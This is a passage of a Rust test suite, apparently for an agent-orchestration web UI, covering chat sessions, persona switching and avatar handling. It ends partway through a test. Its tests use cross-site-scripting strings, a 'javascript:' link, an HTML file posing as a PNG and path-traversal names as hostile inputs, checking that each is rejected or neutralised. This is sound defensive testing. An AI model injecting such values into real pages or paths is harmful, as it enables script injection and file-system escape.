const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
let f = Fixture::with_repo(repo.clone()).await;
(tmp, repo, f)
}
#[tokio::test]
async fn posting_a_talk_with_remembered_choices_is_soft() {
let (_tmp, _repo, f) = talk_fixture().await;
let good = f
.post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
.await;
assert_eq!(good.status, 201, "{}", good.body);
assert_eq!(good.json()["persona"], "rei");
let stale = f
.post(
"/api/talks",
Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
)
.await;
assert_eq!(stale.status, 201, "{}", stale.body);
let v = stale.json();
assert_eq!(v["implementers"], 1);
assert_ne!(v["persona"], "nobody");
let typed = f
.post(
"/api/talks",
Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
)
.await;
assert_eq!(typed.status, 201, "{}", typed.body);
let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
assert!(
!strict.status.to_string().starts_with('2'),
"{}",
strict.body
);
}
#[tokio::test]
async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
let (_tmp, _repo, f) = talk_fixture().await;
let opened = f.post("/api/talks", None).await;
assert_eq!(opened.status, 201, "{}", opened.body);
let body = opened.json();
assert_eq!(body["status"], "open");
assert_eq!(
body["turns"].as_array().unwrap().len(),
0,
"opening takes no agent turn: there is nothing yet to answer"
);
let also_opened = f.post("/api/talks", Some("{}")).await;
assert_eq!(also_opened.status, 201, "{}", also_opened.body);
let listed = f.get("/api/talks").await.json();
assert_eq!(listed.as_array().unwrap().len(), 2);
}
#[tokio::test]
async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
std::fs::write(
repo.join("magi.toml"),
format!("{MOCK_AGENT_TOML}\n{second}"),
)
.expect("write magi.toml");
let home = TempDir::new().expect("temp home");
let talks = Talks::at(home.path().join("talks"));
let ui = Arc::new(
Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
talks.clone(),
home.path().join("runs"),
home.path().to_path_buf(),
repo.clone(),
)
.with_worktrees_root(home.path().join("wt")),
);
let cfg = config_for(&repo).await.expect("discover config");
let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
let id = talk.id.clone();
let call = |agent: &str| {
talk_agent(
State(Arc::clone(&ui)),
Path(id.clone()),
Json(TalkAgent {
agent: agent.to_owned(),
}),
)
};
let unknown = call("nobody").await.expect_err("unknown agent");
assert_eq!(
unknown.status,
StatusCode::BAD_REQUEST,
"{}",
unknown.message
);
{
let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
let busy = call("second").await.expect_err("busy talk");
assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
assert!(
busy.message.contains("a talk turn is running"),
"{}",
busy.message
);
drop(guard);
}
assert_eq!(talks.get(&id).expect("reload").agent, "mock");
let Json(view) = call("second").await.expect("switch");
assert_eq!(view.talk.agent, "second");
assert_eq!(view.talk.turns.len(), 1, "the change is noted");
let saved = talks.get(&id).expect("reload");
assert_eq!(saved.agent, "second");
assert_eq!(saved.turns.len(), 1);
assert!(!view.thinking);
assert!(!ui.is_thinking(&id), "idle response must release the claim");
for agent in ["mock", "second"] {
let Json(view) = call(agent).await.expect("immediate consecutive change");
assert_eq!(view.talk.agent, agent);
assert!(!view.thinking);
assert!(!ui.is_thinking(&id));
}
let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
.await
.expect("detail");
let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
assert_eq!(roster, ["mock", "second"]);
let mut closed = talks.get(&id).expect("reload");
talk::close(&mut closed, &talks).expect("close");
let refused = call("mock").await.expect_err("closed talk");
assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
assert!(
refused.message.contains("takes no more turns"),
"{}",
refused.message
);
}
#[tokio::test]
async fn talk_implementers_validates_and_refuses_busy_or_closed() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
let home = TempDir::new().expect("temp home");
let talks = Talks::at(home.path().join("talks"));
let ui = Arc::new(
Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
talks.clone(),
home.path().join("runs"),
home.path().to_path_buf(),
repo.clone(),
)
.with_worktrees_root(home.path().join("wt")),
);
let cfg = config_for(&repo).await.expect("discover config");
let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
let id = talk.id.clone();
let call = |n: u8| {
talk_implementers(
State(Arc::clone(&ui)),
Path(id.clone()),
Json(TalkImplementers { implementers: n }),
)
};
for bad in [0u8, 4] {
let e = call(bad).await.expect_err("out of range");
assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
}
assert_eq!(talks.get(&id).expect("reload").implementers, 1);
{
let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
let busy = call(2).await.expect_err("busy talk");
assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
assert!(
busy.message.contains("a talk turn is running"),
"{}",
busy.message
);
drop(guard);
}
let Json(view) = call(3).await.expect("switch");
assert_eq!(view.talk.implementers, 3);
assert!(talks.get(&id).expect("reload").implementers_dirty);
assert!(!view.thinking);
assert!(!ui.is_thinking(&id), "idle response must release the claim");
for n in [1, 2, 3] {
let Json(view) = call(n).await.expect("immediate consecutive change");
assert_eq!(view.talk.implementers, n);
assert!(!view.thinking);
assert!(!ui.is_thinking(&id));
}
let mut closed = talks.get(&id).expect("reload");
talk::close(&mut closed, &talks).expect("close");
let e = call(2).await.expect_err("closed talk");
assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
assert!(e.message.contains("takes no more turns"), "{}", e.message);
}
async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(
repo.join("magi.toml"),
format!("{MOCK_AGENT_TOML}\n{extra}"),
)
.expect("write magi.toml");
let home = TempDir::new().expect("temp home");
let talks = Talks::at(home.path().join("talks"));
let ui = Arc::new(
Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
talks.clone(),
home.path().join("runs"),
home.path().to_path_buf(),
repo.clone(),
)
.with_worktrees_root(home.path().join("wt")),
);
let cfg = config_for(&repo).await.expect("discover config");
let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
(tmp, home, ui, talk.id, repo)
}
#[tokio::test]
async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
let mut conversation = ui.talks.get(&id).unwrap();
talk::record(
&mut conversation,
&ui.talks,
"# Update on a task you filed\noperator words",
vec![],
)
.unwrap();
conversation.turns[0].sender = None;
conversation.turns[0].messages.clear();
ui.talks.put(&mut conversation).unwrap();
talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
talk::drain(&mut conversation, &ui.talks).unwrap();
talk::record_reply(
&mut conversation,
&ui.talks,
"about that report",
vec![],
Some(talk::ReplyTarget {
turn: 1,
message: 1,
}),
)
.unwrap();
conversation.turns[2].messages[0]
.reply
.as_mut()
.unwrap()
.sender = None;
conversation.turns.push(talk::Turn {
sender: Some(talk::Sender::Persona),
who: talk::Who::Agent,
body: "magi: actual persona words".into(),
at: Timestamp::now(),
attachments: vec![],
usage: None,
breaks: None,
messages: vec![],
posted_by: None,
});
ui.talks.put(&mut conversation).unwrap();
let view = TalkView::with_config(
ui.talks.get(&id).unwrap(),
false,
None,
&ui.home,
&ui.references,
);
assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
assert_eq!(
view.talk.turns[1].messages[0].sender,
Some(talk::Sender::Operator)
);
assert_eq!(
view.talk.turns[1].messages[1].sender,
Some(talk::Sender::Magi)
);
assert_eq!(
view.talk.turns[2].messages[0]
.reply
.as_ref()
.unwrap()
.sender,
Some(talk::Sender::Magi)
);
assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
assert_eq!(view.turn_messages_md[0].len(), 1);
assert!(view.turn_messages_md[0][0].is_none());
assert!(view.turn_messages_md[1][0].is_none());
assert!(view.turn_messages_md[1][1].is_some());
}
#[tokio::test]
async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
let mut conversation = ui.talks.get(&id).unwrap();
let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
talk::queue_notice(
&mut conversation,
&ui.talks,
&body,
"watch:123",
&|_| false,
None,
display.clone(),
)
.unwrap();
assert!(
!talk::queue_notice(
&mut conversation,
&ui.talks,
&body,
"watch:123",
&|_| false,
None,
display.clone()
)
.unwrap()
);
let saved = ui.talks.get(&id).unwrap();
assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
assert!(
view.talk.turns[0].messages[0].display.is_none(),
"operator copy stays literal"
);
assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
assert!(view.turn_messages_md[0][0].is_none());
let queued_md = view.pending_messages_md[0].clone();
assert_eq!(
queued_md,
Some(md::to_nodes(&display.facts, &md::ImageBase::None))
);
talk::drain(&mut conversation, &ui.talks).unwrap();
talk::record_reply(
&mut conversation,
&ui.talks,
"Explain",
vec![],
Some(talk::ReplyTarget {
turn: 1,
message: 0,
}),
)
.unwrap();
let mut saved = ui.talks.get(&id).unwrap();
assert_eq!(saved.turns[1].messages[0].body, body);
assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
assert!(!reply.excerpt.contains("automatic report"));
reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
let view = TalkView::with_config(
ui.talks.get(&id).unwrap(),
false,
None,
&ui.home,
&ui.references,
);
assert_eq!(view.turn_messages_md[1][0], queued_md);
assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
assert!(
!view.talk.turns[2].messages[0]
.reply
.as_ref()
.unwrap()
.excerpt
.contains("automatic report")
);
assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
}
#[tokio::test]
async fn consultation_display_hides_directives_in_queue_and_history() {
for node in [
"implement",
crate::land::APPROVAL_NODE,
crate::github_text::ASK_NODE,
] {
let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
let mut question = Question::new(
"run-123".into(),
node.into(),
"seat-1".into(),
"Which backend?".into(),
"## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
vec!["SQLite".into(), "Redis".into()],
);
ui.questions.put(&mut question).unwrap();
let body = crate::prompt::chat_consult(&question);
let mut conversation = ui.talks.get(&id).unwrap();
talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
assert!(
crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
);
conversation = ui.talks.get(&id).unwrap();
assert_eq!(conversation.pending_messages[0].body, body);
assert!(body.contains("magi answer"));
let mut legacy_pending = conversation.clone();
legacy_pending.pending_messages[0].display = None;
let legacy_view =
TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
assert!(legacy_md.contains("Question consultation"));
assert!(!legacy_md.contains("magi answer"));
let view =
TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
assert!(
view.turn_messages_md[0][0].is_none(),
"operator copy stays literal"
);
let queued_md = view.pending_messages_md[0].clone().unwrap();
let rendered = serde_json::to_string(&queued_md).unwrap();
for visible in [
"Which backend?",
"Context",
"storage",
"SQLite",
"Redis",
"<script>literal</script>",
] {
assert!(rendered.contains(visible), "missing {visible}");
}
for directive in [
"What to do",
"magi answer",
"Never answer it yourself",
"Do not edit the repository",
] {
assert!(!rendered.contains(directive), "exposed {directive}");
}
assert_eq!(
view.talk.pending_messages[0].display,
Some(crate::prompt::chat_consult_display(&question))
);
talk::drain(&mut conversation, &ui.talks).unwrap();
let view =
TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
assert_eq!(conversation.turns[1].messages[0].body, body);
conversation.turns[1].messages[0].display = None;
let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
assert!(legacy.contains("Question consultation"));
assert!(!legacy.contains("magi answer"));
assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
}
}
#[test]
fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
let (body, mut display) =
crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
display.facts = facts.into();
let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
let json = serde_json::to_string(&nodes).unwrap();
for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
assert!(json.contains(&format!("\"type\":\"{kind}\"")));
}
assert!(json.contains("<script>alert(1)</script>"));
assert!(!json.contains("javascript:"));
assert!(!json.contains("Tell the operator"));
assert!(!json.contains("untrusted"));
assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
assert_eq!(
notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
md::to_nodes("# Status", &md::ImageBase::None),
);
}
#[tokio::test]
async fn notification_display_recovers_exact_legacy_completion_references() {
let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
let mut conversation = ui.talks.get(&id).unwrap();
let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
id: "task-123",
title: "Change",
status: "done",
reason: None,
run: Some("run-123"),
pr: None,
summary: Some("Merge state unknown"),
});
talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
conversation.turns[0].sender = None;
conversation.turns[0].messages.clear();
conversation.turns[0].breaks = None;
conversation.pending = body.clone();
conversation
.completion_notices
.push(crate::chat_notify::CompletionReference {
task: "task-123".into(),
run: Some("run-123".into()),
notice: body.clone(),
});
ui.talks.put(&mut conversation).unwrap();
let view = TalkView::with_config(
ui.talks.get(&id).unwrap(),
false,
None,
&ui.home,
&ui.references,
);
assert_eq!(
view.talk.turns[0].messages[0].display,
Some(display.clone())
);
assert_eq!(view.talk.pending_messages[0].display, Some(display));
assert_eq!(
view.talk.turns[0].messages[0].sender,
Some(talk::Sender::Magi)
);
assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
conversation.completion_notices[0]
.notice
.push_str("different");
let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
assert!(view.talk.turns[0].messages.is_empty());
assert!(view.talk.pending_messages.is_empty());
}
#[tokio::test]
async fn avatar_settings_report_states_and_inherit_after_corruption() {
let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
"[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
))
.await;
let path = avatar_setting_path(home.path(), Some("rei"));
let orphan = avatar_setting_path(home.path(), Some("removed"));
save_icon_file(&orphan, icon).unwrap();
for (saved, expected) in [
(icon, "custom"),
("builtin", "builtin"),
("data:image/png;base64,!!!!", "inherit"),
("data:image/png;base64,PGh0bWw+", "inherit"),
("/tmp/avatar.png", "inherit"),
] {
atomic_icon_write(&path, saved).unwrap();
let catalog =
avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
.await
.unwrap()
.0;
let personas = catalog["personas"].as_array().unwrap();
let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
assert_eq!(rei["override_state"], expected);
assert_eq!(rei["has_config_icon"], true);
assert_eq!(rei["is_orphan"], false);
let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
assert_eq!(removed["override_state"], "custom");
assert_eq!(removed["is_orphan"], true);
let default = personas.iter().find(|p| p["id"] == "default").unwrap();
assert_eq!(default["override_state"], "inherit");
assert_eq!(default["has_config_icon"], false);
let effective = effective_persona_icon(home.path(), "rei", Some(icon));
assert_eq!(
effective.as_deref(),
Some(if expected == "builtin" { "" } else { icon })
);
}
}
#[tokio::test]
async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
"[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
))
.await;
let target = |id: Option<&str>| AvatarSettingsQuery {
persona: id.map(str::to_owned),
..Default::default()
};
let original_config = config_for(&repo).await.unwrap();
let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
let original_prompt = persona::section_for(&original_persona, None);
let before = talk_detail(State(ui.clone()), Path(id.clone()))
.await
.unwrap()
.0;
for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
let _ = avatar_settings_put(
State(ui.clone()),
Query(target(persona)),
Json(MagiIconUpload { icon: icon.into() }),
)
.await
.unwrap();
let path = avatar_setting_path(home.path(), persona);
assert!(path.starts_with(home.path().join("avatars")));
assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
for bad in [
"/tmp/image.png".to_owned(),
"data:image/png;base64,!!!!".to_owned(),
"data:image/png;base64,PGh0bWw+".to_owned(),
"data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
format!(
"data:image/png;base64,{}",
"A".repeat(persona_icon::ICON_MAX_BYTES)
),
] {
assert!(
avatar_settings_put(
State(ui.clone()),
Query(target(persona)),
Json(MagiIconUpload { icon: bad })
)
.await
.is_err()
);
assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
}
}
assert!(read_magi_icon(home.path()).is_none());
assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
let after = talk_detail(State(ui.clone()), Path(id.clone()))
.await
.unwrap()
.0;
assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
assert_ne!(
before
.personas
.iter()
.find(|p| p.id == "magi")
.unwrap()
.avatar,
after
.personas
.iter()
.find(|p| p.id == "magi")
.unwrap()
.avatar
);
let restarted = Arc::new(Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
home.path().join("runs"),
home.path().to_owned(),
repo,
));
let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
.await
.unwrap()
.0;
assert!(
catalog["personas"]
.as_array()
.unwrap()
.iter()
.any(|p| p["id"] == "../custom/日本語")
);
for expected in ["custom", "default", "rei"] {
assert!(
catalog["personas"]
.as_array()
.unwrap()
.iter()
.any(|p| p["id"] == expected)
);
}
let response =
operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
.await
.unwrap();
assert_eq!(
effective_persona_icon(home.path(), "rei", Some(icon)),
Some(String::new())
);
let response = talk_avatar(
State(restarted.clone()),
Path(id.clone()),
Query(AvatarQuery {
persona: Some("rei".into()),
..Default::default()
}),
)
.await
.unwrap();
assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
.await
.unwrap()
.0;
assert_ne!(
after
.personas
.iter()
.find(|p| p.id == "rei")
.unwrap()
.avatar,
reset
.personas
.iter()
.find(|p| p.id == "rei")
.unwrap()
.avatar
);
let mut inherit = target(Some("rei"));
inherit.inherit = Some("1".into());
let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
.await
.unwrap();
assert_eq!(
effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
Some(icon)
);
let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
.await
.unwrap();
assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
assert_eq!(
read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
Some(icon)
);
let cfg = config_for(&ui.repo).await.unwrap();
let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
assert_eq!(persona::section_for(&resolved, None), original_prompt);
assert!(!original_prompt.contains("data:image"));
assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
assert!(!stored.contains("data:image"));
let mut orphan = ui.talks.get(&id).unwrap();
orphan.persona = "../custom/日本語".into();
let view = TalkView::with_config(
orphan,
false,
Some(&cfg),
home.path(),
&id_links::IndexCache::default(),
);
assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
}
#[tokio::test]
async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
let _ = magi_icon_put(
State(ui.clone()),
Json(MagiIconUpload { icon: icon.into() }),
)
.await
.unwrap();
let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
assert_ne!(original, changed);
assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
let response = magi_avatar(
State(ui.clone()),
Query(AvatarQuery {
persona: None,
builtin: None,
}),
)
.await;
assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
assert_eq!(
response.headers()[header::X_CONTENT_TYPE_OPTIONS],
"nosniff"
);
for bad in [
"data:image/png;base64,PGh0bWw+".to_owned(),
"data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
"A".repeat(persona_icon::ICON_MAX_BYTES + 1),
] {
assert!(save_magi_icon(home.path(), &bad).is_err());
assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
}
let restarted = Arc::new(Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
home.path().join("runs"),
home.path().to_path_buf(),
repo,
));
assert_eq!(
magi_icon_get(State(restarted.clone())).await.0["avatar"],
changed
);
let view = TalkView::with_config(
restarted.talks.get(&id).unwrap(),
false,
None,
&restarted.home,
&restarted.references,
);
assert_eq!(view.magi_avatar, changed.as_str().unwrap());
std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
let response = magi_avatar(
State(ui.clone()),
Query(AvatarQuery {
persona: None,
builtin: None,
}),
)
.await;
let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
.await
.unwrap();
assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
let _ = magi_icon_delete(State(ui)).await.unwrap();
}
async fn avatar(
ui: &Arc<Ui>,
id: &str,
persona: Option<&str>,
builtin: bool,
) -> (StatusCode, String, bool, bool, Vec<u8>) {
let res = talk_avatar(
State(Arc::clone(ui)),
Path(id.to_owned()),
Query(AvatarQuery {
persona: persona.map(str::to_owned),
builtin: builtin.then(|| "1".to_owned()),
}),
)
.await
.expect("an avatar is never an error response");
let h = res.headers();
let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
let nosniff = h
.get(header::X_CONTENT_TYPE_OPTIONS)
.is_some_and(|v| v == "nosniff");
let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
let status = res.status();
let body = axum::body::to_bytes(res.into_body(), usize::MAX)
.await
.expect("body")
.to_vec();
(status, ct, nosniff, csp, body)
}
fn tiny_png() -> Vec<u8> {
let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
b.extend_from_slice(&[0u8; 32]);
b
}
#[tokio::test]
async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
assert_eq!(res.status(), StatusCode::OK);
assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
let body = axum::body::to_bytes(res.into_body(), usize::MAX)
.await
.unwrap();
assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
assert_ne!(
persona_icon::operator_svg(),
persona_icon::builtin_svg("default")
);
}
#[tokio::test]
async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
for p in [
"default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
] {
let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
assert_eq!(status, StatusCode::OK, "{p}");
assert_eq!(ct, "image/svg+xml", "{p}");
assert!(nosniff && csp, "{p}");
assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
}
let own = avatar(&ui, &id, None, false).await;
let default = avatar(&ui, &id, Some("default"), false).await;
assert_eq!(own.4, default.4);
let unknown = avatar(&ui, &id, Some("nobody"), false).await;
assert_eq!(unknown.1, "image/svg+xml");
}
#[tokio::test]
async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
let dir = TempDir::new().expect("icons");
let good = dir.path().join("good.png");
std::fs::write(&good, tiny_png()).unwrap();
let spoof = dir.path().join("spoof.png");
std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
let big = dir.path().join("big.png");
let mut bytes = tiny_png();
bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
std::fs::write(&big, bytes).unwrap();
let missing = dir.path().join("missing.png");
let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
let extra = format!(
"[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
[[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
[[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
[[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
[[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
[[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
uri(&good),
uri(&spoof),
uri(&big),
uri(&missing),
);
let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
assert_eq!(
(status, ct.as_str(), nosniff),
(StatusCode::OK, "image/png", true)
);
assert_eq!(body, tiny_png());
let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
assert_eq!(ct, "image/png", "data URI");
for p in ["misato", "asuka", "shinji", "magi"] {
let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
assert_eq!(
(status, ct.as_str(), csp),
(StatusCode::OK, "image/svg+xml", true),
"{p}"
);
assert!(body.starts_with(b"<svg"), "{p}");
}
let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
assert_eq!(ct, "image/svg+xml");
}
#[tokio::test]
async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
let oversized = format!(
"data:image/png;base64,{}",
"A".repeat(persona_icon::ICON_MAX_BYTES)
);
for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
let extra = format!(
"[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
);
let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
.await
.expect("detail with invalid icon");
assert!(detail.personas.iter().any(|p| p.id == "custom"));
let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
assert_eq!(status, StatusCode::OK);
assert_eq!(ct, "image/svg+xml");
assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
let Json(view) = talk_persona(
State(Arc::clone(&ui)),
Path(id.clone()),
Json(TalkPersona {
persona: "custom".into(),
}),
)
.await
.expect("persona switch with invalid icon");
assert_eq!(view.talk.persona, "custom");
